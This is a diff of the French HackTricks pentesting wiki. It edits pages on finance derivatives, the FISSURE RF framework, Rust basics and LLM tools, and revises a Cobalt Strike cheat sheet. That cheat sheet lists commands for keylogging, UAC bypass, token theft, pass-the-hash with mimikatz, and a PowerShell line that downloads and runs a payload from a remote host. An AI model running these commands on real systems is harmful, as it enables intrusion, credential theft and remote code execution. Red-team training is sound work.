l'exécuter ou non (généralement il ne le fera que s'il en tirera un bénéfice). Le vendeur doit vendre si l'acheteur souhaite utiliser l'option.\ +La principale différence entre les futures et les options est que le contrat est optionnel pour l'acheteur : il peut décider de l'exécuter ou non (en général, il ne le fera que s'il en tirera un bénéfice). Le vendeur doit vendre si l'acheteur souhaite utiliser l'option.\ Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte que le vendeur, qui prend apparemment plus de risques, commence à gagner de l'argent). ### 1. **Obligation vs. Droit :** -* **Futures :** Lorsque vous achetez ou vendez un contrat à terme, vous entrez dans un **accord contraignant** pour acheter ou vendre un actif à un prix spécifique à une date future. L'acheteur et le vendeur sont tous deux **obligés** de respecter le contrat à l'expiration (sauf si le contrat est clôturé avant cela). +* **Futures :** Lorsque vous achetez ou vendez un contrat à terme, vous entrez dans un **accord contraignant** pour acheter ou vendre un actif à un prix spécifique à une date future. L'acheteur et le vendeur sont tous deux **obligés** de remplir le contrat à l'expiration (sauf si le contrat est clôturé avant cela). * **Options :** Avec les options, vous avez le **droit, mais pas l'obligation**, d'acheter (dans le cas d'une **option d'achat**) ou de vendre (dans le cas d'une **option de vente**) un actif à un prix spécifique avant ou à une certaine date d'expiration. L'**acheteur** a l'option d'exécuter, tandis que le **vendeur** est obligé de remplir la transaction si l'acheteur décide d'exercer l'option. ### 2. **Risque :** * **Futures :** L'acheteur et le vendeur prennent un **risque illimité** car ils sont obligés de compléter le contrat. Le risque est la différence entre le prix convenu et le prix du marché à la date d'expiration. -* **Options :** Le risque de l'acheteur est limité à la **prime** payée pour acheter l'option. Si le marché ne bouge pas en faveur du titulaire de l'option, il peut simplement laisser l'option expirer. Cependant, le **vendeur** (émetteur) de l'option a un risque illimité si le marché évolue de manière significative contre lui. +* **Options :** Le risque de l'acheteur est limité à la **prime** payée pour acheter l'option. Si le marché ne se déplace pas en faveur du titulaire de l'option, il peut simplement laisser l'option expirer. Cependant, le **vendeur** (émetteur) de l'option a un risque illimité si le marché se déplace significativement contre lui. ### 3. **Coût :** @@ -65,4 +67,6 @@ Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte ### 4. **Potentiel de Profit :** * **Futures :** Le profit ou la perte est basé sur la différence entre le prix du marché à l'expiration et le prix convenu dans le contrat. -* **Options :** L'acheteur réalise un profit lorsque le marché évolue favorablement au-delà du prix d'exercice de plus que la prime payée. Le vendeur réalise un profit en conservant la prime si l'option n'est pas exercée. +* **Options :** L'acheteur profite lorsque le marché se déplace favorablement au-delà du prix d'exercice de plus que la prime payée. Le vendeur profite en conservant la prime si l'option n'est pas exercée. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/pentesting-dns.md b/src/todo/pentesting-dns.md deleted file mode 100644 index e3bf33261..000000000 --- a/src/todo/pentesting-dns.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -**Recherchez davantage sur les attaques contre DNS** - -**DNSSEC et DNSSEC3** - -**DNS dans IPv6** - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/README.md b/src/todo/radio-hacking/README.md index 6db785956..19f2ddd6e 100644 --- a/src/todo/radio-hacking/README.md +++ b/src/todo/radio-hacking/README.md @@ -1 +1,3 @@ # Hacking Radio + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md index 17a6bca1b..dcb888bdd 100644 --- a/src/todo/radio-hacking/fissure-the-rf-framework.md +++ b/src/todo/radio-hacking/fissure-the-rf-framework.md @@ -1,8 +1,10 @@ # FISSURE - Le cadre RF +{{#include /banners/hacktricks-training.md}} + **Compréhension et ingénierie inverse des signaux SDR indépendants de la fréquence** -FISSURE est un cadre RF et d'ingénierie inverse open-source conçu pour tous les niveaux de compétence avec des hooks pour la détection et la classification des signaux, la découverte de protocoles, l'exécution d'attaques, la manipulation IQ, l'analyse de vulnérabilités, l'automatisation et l'IA/ML. Le cadre a été construit pour promouvoir l'intégration rapide de modules logiciels, de radios, de protocoles, de données de signaux, de scripts, de graphes de flux, de matériel de référence et d'outils tiers. FISSURE est un facilitateur de flux de travail qui garde les logiciels en un seul endroit et permet aux équipes de se mettre à jour sans effort tout en partageant la même configuration de base éprouvée pour des distributions Linux spécifiques. +FISSURE est un cadre RF et d'ingénierie inverse open-source conçu pour tous les niveaux de compétence avec des hooks pour la détection et la classification des signaux, la découverte de protocoles, l'exécution d'attaques, la manipulation IQ, l'analyse de vulnérabilités, l'automatisation et l'IA/ML. Le cadre a été construit pour promouvoir l'intégration rapide de modules logiciels, de radios, de protocoles, de données de signaux, de scripts, de graphiques de flux, de matériel de référence et d'outils tiers. FISSURE est un facilitateur de flux de travail qui garde les logiciels en un seul endroit et permet aux équipes de se mettre rapidement à jour tout en partageant la même configuration de base éprouvée pour des distributions Linux spécifiques. Le cadre et les outils inclus avec FISSURE sont conçus pour détecter la présence d'énergie RF, comprendre les caractéristiques d'un signal, collecter et analyser des échantillons, développer des techniques de transmission et/ou d'injection, et créer des charges utiles ou des messages personnalisés. FISSURE contient une bibliothèque croissante d'informations sur les protocoles et les signaux pour aider à l'identification, à la création de paquets et au fuzzing. Des capacités d'archive en ligne existent pour télécharger des fichiers de signaux et créer des listes de lecture pour simuler le trafic et tester des systèmes. @@ -33,12 +35,12 @@ Il existe trois branches au sein de FISSURE pour faciliter la navigation dans le **En cours (bêta)** -Ces systèmes d'exploitation sont encore en statut bêta. Ils sont en cours de développement et plusieurs fonctionnalités sont connues pour manquer. Les éléments dans l'installateur peuvent entrer en conflit avec des programmes existants ou échouer à s'installer jusqu'à ce que le statut soit supprimé. +Ces systèmes d'exploitation sont encore en statut bêta. Ils sont en développement et plusieurs fonctionnalités sont connues pour manquer. Les éléments dans l'installateur peuvent entrer en conflit avec des programmes existants ou échouer à s'installer jusqu'à ce que le statut soit supprimé. | Système d'exploitation | Branche FISSURE | | :-----------------------------: | :------------------: | -| DragonOS Focal (x86\_64) | Python3\_maint-3.8 | -| Ubuntu 22.04 (x64) | Python3\_maint-3.10 | +| DragonOS Focal (x86\_64) | Python3\_maint-3.8 | +| Ubuntu 22.04 (x64) | Python3\_maint-3.10 | Note : Certains outils logiciels ne fonctionnent pas pour chaque OS. Référez-vous à [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md) @@ -84,4 +86,99 @@ Référez-vous au menu d'aide de FISSURE pour plus de détails sur l'utilisation **Capacités** -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Détecteur de signal**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3. +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Détecteur de signal**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipulation IQ**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Recherche de signal**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Reconnaissance de motifs**_ | +| --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attaques**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Listes de lecture de signal**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Galerie d'images**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Création de paquets**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Intégration Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Calculateur CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Journalisation**_ | + +**Matériel** + +Voici une liste de matériel "supporté" avec des niveaux d'intégration variés : + +* USRP : X3xx, B2xx, B20xmini, USRP2, N2xx +* HackRF +* RTL2832U +* Adaptateurs 802.11 +* LimeSDR +* bladeRF, bladeRF 2.0 micro +* Open Sniffer +* PlutoSDR + +## Leçons + +FISSURE est livré avec plusieurs guides utiles pour se familiariser avec différentes technologies et techniques. Beaucoup incluent des étapes pour utiliser divers outils intégrés dans FISSURE. + +* [Leçon1 : OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md) +* [Leçon2 : Dissécateurs Lua](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md) +* [Leçon3 : Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md) +* [Leçon4 : Cartes ESP](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md) +* [Leçon5 : Suivi de radiosondes](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md) +* [Leçon6 : RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md) +* [Leçon7 : Types de données](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md) +* [Leçon8 : Blocs GNU Radio personnalisés](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md) +* [Leçon9 : TPMS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson9\_TPMS.md) +* [Leçon10 : Examens de radioamateur](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson10\_Ham\_Radio\_Exams.md) +* [Leçon11 : Outils Wi-Fi](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson11\_WiFi\_Tools.md) + +## Feuille de route + +* [ ] Ajouter plus de types de matériel, de protocoles RF, de paramètres de signal, d'outils d'analyse +* [ ] Supporter plus de systèmes d'exploitation +* [ ] Développer du matériel de cours autour de FISSURE (Attaques RF, Wi-Fi, GNU Radio, PyQt, etc.) +* [ ] Créer un conditionneur de signal, un extracteur de caractéristiques et un classificateur de signal avec des techniques AI/ML sélectionnables +* [ ] Mettre en œuvre des mécanismes de démodulation récursive pour produire un flux de bits à partir de signaux inconnus +* [ ] Transitionner les principaux composants de FISSURE vers un schéma de déploiement de nœud capteur générique + +## Contribution + +Les suggestions pour améliorer FISSURE sont fortement encouragées. Laissez un commentaire sur la page [Discussions](https://github.com/ainfosec/FISSURE/discussions) ou sur le serveur Discord si vous avez des idées concernant les éléments suivants : + +* Suggestions de nouvelles fonctionnalités et changements de conception +* Outils logiciels avec étapes d'installation +* Nouvelles leçons ou matériel supplémentaire pour les leçons existantes +* Protocoles RF d'intérêt +* Plus de types de matériel et SDR pour l'intégration +* Scripts d'analyse IQ en Python +* Corrections et améliorations d'installation + +Les contributions pour améliorer FISSURE sont cruciales pour accélérer son développement. Toutes les contributions que vous faites sont grandement appréciées. Si vous souhaitez contribuer par le développement de code, veuillez forker le dépôt et créer une demande de tirage : + +1. Forkez le projet +2. Créez votre branche de fonctionnalité (`git checkout -b feature/AmazingFeature`) +3. Validez vos modifications (`git commit -m 'Ajoutez une AmazingFeature'`) +4. Poussez vers la branche (`git push origin feature/AmazingFeature`) +5. Ouvrez une demande de tirage + +Créer des [Issues](https://github.com/ainfosec/FISSURE/issues) pour attirer l'attention sur les bogues est également bienvenu. + +## Collaboration + +Contactez Assured Information Security, Inc. (AIS) Développement commercial pour proposer et formaliser toute opportunité de collaboration FISSURE, que ce soit en consacrant du temps à l'intégration de votre logiciel, en faisant appel aux personnes talentueuses d'AIS pour développer des solutions à vos défis techniques, ou en intégrant FISSURE dans d'autres plateformes/applications. + +## Licence + +GPL-3.0 + +Pour les détails de la licence, voir le fichier LICENSE. + +## Contact + +Rejoignez le serveur Discord : [https://discord.gg/JZDs5sgxcG](https://discord.gg/JZDs5sgxcG) + +Suivez sur Twitter : [@FissureRF](https://twitter.com/fissurerf), [@AinfoSec](https://twitter.com/ainfosec) + +Chris Poore - Assured Information Security, Inc. - poorec@ainfosec.com + +Développement commercial - Assured Information Security, Inc. - bd@ainfosec.com + +## Crédits + +Nous reconnaissons et sommes reconnaissants envers ces développeurs : + +[Crédits](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/CREDITS.md) + +## Remerciements + +Remerciements spéciaux à Dr. Samuel Mantravadi et Joseph Reith pour leurs contributions à ce projet. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/references.md b/src/todo/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/todo/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md index 133a121e6..38f8dacce 100644 --- a/src/todo/rust-basics.md +++ b/src/todo/rust-basics.md @@ -1,8 +1,10 @@ # Rust Basics +{{#include /banners/hacktricks-training.md}} + ### Types génériques -Créez une struct où 1 de ses valeurs pourrait être de n'importe quel type +Créez une structure où 1 de ses valeurs pourrait être de n'importe quel type ```rust struct Wrapper { value: T, @@ -30,7 +32,7 @@ Vous pouvez utiliser des fonctions telles que `is_some()` ou `is_none()` pour v ### Macros -Les macros sont plus puissantes que les fonctions car elles s'étendent pour produire plus de code que le code que vous avez écrit manuellement. Par exemple, une signature de fonction doit déclarer le nombre et le type de paramètres que la fonction a. Les macros, en revanche, peuvent prendre un nombre variable de paramètres : nous pouvons appeler `println!("hello")` avec un argument ou `println!("hello {}", name)` avec deux arguments. De plus, les macros sont étendues avant que le compilateur n'interprète la signification du code, donc une macro peut, par exemple, implémenter un trait sur un type donné. Une fonction ne peut pas le faire, car elle est appelée à l'exécution et un trait doit être implémenté à la compilation. +Les macros sont plus puissantes que les fonctions car elles s'étendent pour produire plus de code que le code que vous avez écrit manuellement. Par exemple, une signature de fonction doit déclarer le nombre et le type de paramètres que la fonction a. Les macros, en revanche, peuvent prendre un nombre variable de paramètres : nous pouvons appeler `println!("hello")` avec un argument ou `println!("hello {}", name)` avec deux arguments. De plus, les macros sont étendues avant que le compilateur n'interprète le sens du code, donc une macro peut, par exemple, implémenter un trait sur un type donné. Une fonction ne peut pas le faire, car elle est appelée à l'exécution et un trait doit être implémenté à la compilation. ```rust macro_rules! my_macro { () => { @@ -194,7 +196,7 @@ _ => "Hello", } } ``` -#### si laisser +#### si laissez ```rust let optional_word = Some(String::from("rustlings")); if let word = optional_word { @@ -285,4 +287,4 @@ thread::sleep(Duration::from_millis(500)); } } ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md index f6be85fa4..3e829028b 100644 --- a/src/todo/test-llms.md +++ b/src/todo/test-llms.md @@ -1,14 +1,16 @@ # Test LLMs +{{#include /banners/hacktricks-training.md}} + ## Exécuter et entraîner des modèles localement ### [**Hugging Face Transformers**](https://github.com/huggingface/transformers) -Hugging Face Transformers est l'une des bibliothèques open-source les plus populaires pour utiliser, entraîner et déployer des LLMs tels que GPT, BERT et bien d'autres. Elle offre un écosystème complet qui inclut des modèles pré-entraînés, des ensembles de données et une intégration transparente avec le Hugging Face Hub pour le fine-tuning et le déploiement. +Hugging Face Transformers est l'une des bibliothèques open-source les plus populaires pour utiliser, entraîner et déployer des LLM tels que GPT, BERT et bien d'autres. Il offre un écosystème complet qui inclut des modèles pré-entraînés, des ensembles de données et une intégration transparente avec le Hugging Face Hub pour le fine-tuning et le déploiement. ### [**LangChain**](https://github.com/langchain-ai/langchain) -LangChain est un cadre conçu pour construire des applications avec des LLMs. Il permet aux développeurs de connecter des modèles de langage avec des sources de données externes, des API et des bases de données. LangChain fournit des outils pour l'ingénierie de prompt avancée, la gestion de l'historique des conversations et l'intégration des LLMs dans des flux de travail complexes. +LangChain est un cadre conçu pour construire des applications avec des LLM. Il permet aux développeurs de connecter des modèles de langage avec des sources de données externes, des API et des bases de données. LangChain fournit des outils pour l'ingénierie de prompt avancée, la gestion de l'historique des conversations et l'intégration des LLM dans des flux de travail complexes. ### [**LitGPT**](https://github.com/Lightning-AI/litgpt) @@ -17,11 +19,11 @@ LitGPT est un projet développé par Lightning AI qui exploite le cadre Lightnin ### [**LitServe**](https://github.com/Lightning-AI/LitServe) **Description :**\ -LitServe est un outil de déploiement de Lightning AI conçu pour déployer rapidement et efficacement des modèles d'IA. Il simplifie l'intégration des LLMs dans des applications en temps réel en fournissant des capacités de service évolutives et optimisées. +LitServe est un outil de déploiement de Lightning AI conçu pour déployer rapidement et efficacement des modèles d'IA. Il simplifie l'intégration des LLM dans des applications en temps réel en fournissant des capacités de service évolutives et optimisées. ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl) -Axolotl est une plateforme basée sur le cloud conçue pour rationaliser le déploiement, la mise à l'échelle et la gestion des modèles d'IA, y compris les LLMs. Elle offre des fonctionnalités telles que la mise à l'échelle automatisée, la surveillance et l'intégration avec divers services cloud, facilitant le déploiement de modèles dans des environnements de production sans gestion d'infrastructure extensive. +Axolotl est une plateforme basée sur le cloud conçue pour rationaliser le déploiement, la mise à l'échelle et la gestion des modèles d'IA, y compris les LLM. Elle offre des fonctionnalités telles que la mise à l'échelle automatisée, la surveillance et l'intégration avec divers services cloud, facilitant le déploiement de modèles dans des environnements de production sans gestion d'infrastructure extensive. ## Essayer des modèles en ligne @@ -30,21 +32,23 @@ Axolotl est une plateforme basée sur le cloud conçue pour rationaliser le dép **Hugging Face** est une plateforme et une communauté de premier plan pour l'apprentissage automatique, particulièrement connue pour son travail en traitement du langage naturel (NLP). Elle fournit des outils, des bibliothèques et des ressources qui facilitent le développement, le partage et le déploiement de modèles d'apprentissage automatique.\ Elle propose plusieurs sections comme : -* **Models** : Un vaste répertoire de **modèles d'apprentissage automatique pré-entraînés** où les utilisateurs peuvent parcourir, télécharger et intégrer des modèles pour diverses tâches comme la génération de texte, la traduction, la reconnaissance d'images, et plus encore. -* **Datasets :** Une **collection complète d'ensembles de données** utilisés pour entraîner et évaluer des modèles. Elle facilite l'accès facile à diverses sources de données, permettant aux utilisateurs de trouver et d'utiliser des données pour leurs projets d'apprentissage automatique spécifiques. -* **Spaces :** Une plateforme pour héberger et partager des **applications et des démos d'apprentissage automatique interactives**. Elle permet aux développeurs de **présenter** leurs modèles en action, de créer des interfaces conviviales et de collaborer avec d'autres en partageant des démos en direct. +* **Modèles** : Un vaste répertoire de **modèles d'apprentissage automatique pré-entraînés** où les utilisateurs peuvent parcourir, télécharger et intégrer des modèles pour diverses tâches comme la génération de texte, la traduction, la reconnaissance d'images, et plus encore. +* **Ensembles de données :** Une **collection complète d'ensembles de données** utilisés pour entraîner et évaluer des modèles. Elle facilite l'accès facile à diverses sources de données, permettant aux utilisateurs de trouver et d'utiliser des données pour leurs projets d'apprentissage automatique spécifiques. +* **Espaces :** Une plateforme pour héberger et partager des **applications et des démos d'apprentissage automatique interactives**. Elle permet aux développeurs de **présenter** leurs modèles en action, de créer des interfaces conviviales et de collaborer avec d'autres en partageant des démos en direct. ## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/) **TensorFlow Hub** est un répertoire complet de modules d'apprentissage automatique réutilisables développés par Google. Il se concentre sur la facilitation du partage et du déploiement de modèles d'apprentissage automatique, en particulier ceux construits avec TensorFlow. * **Modules :** Une vaste collection de modèles pré-entraînés et de composants de modèles où les utilisateurs peuvent parcourir, télécharger et intégrer des modules pour des tâches telles que la classification d'images, l'incorporation de texte, et plus encore. -* **Tutorials :** Des guides et des exemples étape par étape qui aident les utilisateurs à comprendre comment mettre en œuvre et affiner des modèles en utilisant TensorFlow Hub. +* **Tutoriels :** Des guides et des exemples étape par étape qui aident les utilisateurs à comprendre comment mettre en œuvre et affiner des modèles en utilisant TensorFlow Hub. * **Documentation :** Des guides complets et des références API qui aident les développeurs à utiliser efficacement les ressources du répertoire. ## [**Replicate**](https://replicate.com/home) **Replicate** est une plateforme qui permet aux développeurs d'exécuter des modèles d'apprentissage automatique dans le cloud via une API simple. Elle se concentre sur la facilitation de l'accès et du déploiement des modèles ML sans avoir besoin d'une configuration d'infrastructure extensive. -* **Models :** Un répertoire de modèles d'apprentissage automatique contribué par la communauté que les utilisateurs peuvent parcourir, essayer et intégrer dans leurs applications avec un minimum d'effort. -* **API Access :** Des API simples pour exécuter des modèles qui permettent aux développeurs de déployer et de mettre à l'échelle des modèles sans effort au sein de leurs propres applications. +* **Modèles :** Un répertoire de modèles d'apprentissage automatique contribué par la communauté que les utilisateurs peuvent parcourir, essayer et intégrer dans leurs applications avec un minimum d'effort. +* **Accès API :** Des API simples pour exécuter des modèles qui permettent aux développeurs de déployer et de mettre à l'échelle des modèles sans effort au sein de leurs propres applications. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/tr-069.md b/src/todo/tr-069.md deleted file mode 100644 index e2efcf98b..000000000 --- a/src/todo/tr-069.md +++ /dev/null @@ -1 +0,0 @@ -# TR-069 diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index 8588d285f..161f7cd42 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -1,23 +1,25 @@ # Cobalt Strike -### Listeners +{{#include /banners/hacktricks-training.md}} -### C2 Listeners +### Écouteurs + +### Écouteurs C2 `Cobalt Strike -> Listeners -> Add/Edit` puis vous pouvez sélectionner où écouter, quel type de beacon utiliser (http, dns, smb...) et plus encore. -### Peer2Peer Listeners +### Écouteurs Peer2Peer -Les beacons de ces listeners n'ont pas besoin de communiquer directement avec le C2, ils peuvent communiquer avec lui via d'autres beacons. +Les beacons de ces écouteurs n'ont pas besoin de communiquer directement avec le C2, ils peuvent communiquer avec lui via d'autres beacons. `Cobalt Strike -> Listeners -> Add/Edit` puis vous devez sélectionner les beacons TCP ou SMB -* Le **beacon TCP mettra en place un listener sur le port sélectionné**. Pour se connecter à un beacon TCP, utilisez la commande `connect ` depuis un autre beacon. +* Le **beacon TCP mettra en place un écouteur sur le port sélectionné**. Pour se connecter à un beacon TCP, utilisez la commande `connect ` depuis un autre beacon. * Le **beacon smb écoutera dans un pipename avec le nom sélectionné**. Pour se connecter à un beacon SMB, vous devez utiliser la commande `link [target] [pipe]`. -### Generate & Host payloads +### Générer et héberger des charges utiles -#### Generate payloads in files +#### Générer des charges utiles dans des fichiers `Attacks -> Packages ->` @@ -26,21 +28,21 @@ Les beacons de ces listeners n'ont pas besoin de communiquer directement avec le * **`Windows Executable`** pour un .exe, .dll ou service .exe * **`Windows Executable (S)`** pour un **stageless** .exe, .dll ou service .exe (mieux stageless que staged, moins d'IoCs) -#### Generate & Host payloads +#### Générer et héberger des charges utiles `Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Cela générera un script/exécutable pour télécharger le beacon depuis Cobalt Strike dans des formats tels que : bitsadmin, exe, powershell et python. -#### Host Payloads +#### Héberger des charges utiles Si vous avez déjà le fichier que vous souhaitez héberger sur un serveur web, allez simplement à `Attacks -> Web Drive-by -> Host File` et sélectionnez le fichier à héberger et la configuration du serveur web. -### Beacon Options +### Options de Beacon 
# Exécuter un binaire .NET local
 execute-assembly 
 # Notez que pour charger des assemblies de plus de 1 Mo, la propriété 'tasks_max_size' du profil malléable doit être modifiée.
 
-# Screenshots
+# Captures d'écran
 printscreen    # Prendre une seule capture d'écran via la méthode PrintScr
 screenshot     # Prendre une seule capture d'écran
 screenwatch    # Prendre des captures d'écran périodiques du bureau
@@ -50,8 +52,8 @@ screenwatch    # Prendre des captures d'écran périodiques du bureau
 keylogger [pid] [x86|x64]
 ## View > Keystrokes pour voir les touches pressées
 
-# portscan
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injecter l'action de scan de port à l'intérieur d'un autre processus
+# scan de port
+portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injecter l'action de scan de port dans un autre processus
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
@@ -63,15 +65,14 @@ powerpick   # Cela crée un processus sacrificiel spécifié par s
 powerpick Invoke-PrivescAudit | fl
 psinject     # Cela injecte UnmanagedPowerShell dans le processus spécifié pour exécuter le cmdlet PowerShell.
 
-
-# User impersonation
+# Usurpation d'utilisateur
 ## Génération de token avec des identifiants
 make_token [DOMAIN\user] [password] #Créer un token pour usurper un utilisateur dans le réseau
 ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ dans un ordinateur
 rev2self # Arrêter d'utiliser le token généré avec make_token
 ## L'utilisation de make_token génère l'événement 4624 : Un compte a été connecté avec succès. Cet événement est très courant dans un domaine Windows, mais peut être restreint en filtrant sur le type de connexion. Comme mentionné ci-dessus, il utilise LOGON32_LOGON_NEW_CREDENTIALS qui est de type 9.
 
-# UAC Bypass
+# Contournement UAC
 elevate svc-exe 
 elevate uac-token-duplication 
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
@@ -79,7 +80,7 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 ## Voler un token depuis pid
 ## Comme make_token mais en volant le token d'un processus
 steal_token [pid] # De plus, cela est utile pour les actions réseau, pas pour les actions locales
-## D'après la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son token actuel". C'est pourquoi la sortie du Beacon dit Impersonated  - il usurpe notre propre token cloné.
+## D'après la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son token actuel". C'est pourquoi la sortie du Beacon dit Usurpé  - il usurpe notre propre token cloné.
 ls \\computer_name\c$ # Essayer d'utiliser le token généré pour accéder à C$ dans un ordinateur
 rev2self # Arrêter d'utiliser le token de steal_token
 
@@ -91,17 +92,17 @@ spawnas [domain\username] [password] [listener] #Faites-le depuis un répertoire
 inject [pid] [x64|x86] [listener]
 ## D'un point de vue OpSec : Ne pas effectuer d'injection inter-plateforme à moins que cela ne soit vraiment nécessaire (par exemple x86 -> x64 ou x64 -> x86).
 
-## Pass the hash
-## Ce processus de modification nécessite un patch de la mémoire LSASS, ce qui est une action à haut risque, nécessite des privilèges d'administrateur local et n'est pas très viable si le Processus Protégé Léger (PPL) est activé.
+## Passer le hash
+## Ce processus de modification nécessite un patchage de la mémoire LSASS, ce qui est une action à haut risque, nécessite des privilèges d'administrateur local et n'est pas très viable si le Processus Protégé Léger (PPL) est activé.
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pass the hash via mimikatz
+## Passer le hash via mimikatz
 mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
 ## Sans /run, mimikatz lance un cmd.exe, si vous exécutez en tant qu'utilisateur avec un bureau, il verra le shell (si vous exécutez en tant que SYSTEM, vous êtes bon pour y aller)
 steal_token  #Voler le token du processus créé par mimikatz
 
-## Pass the ticket
+## Passer le ticket
 ## Demander un ticket
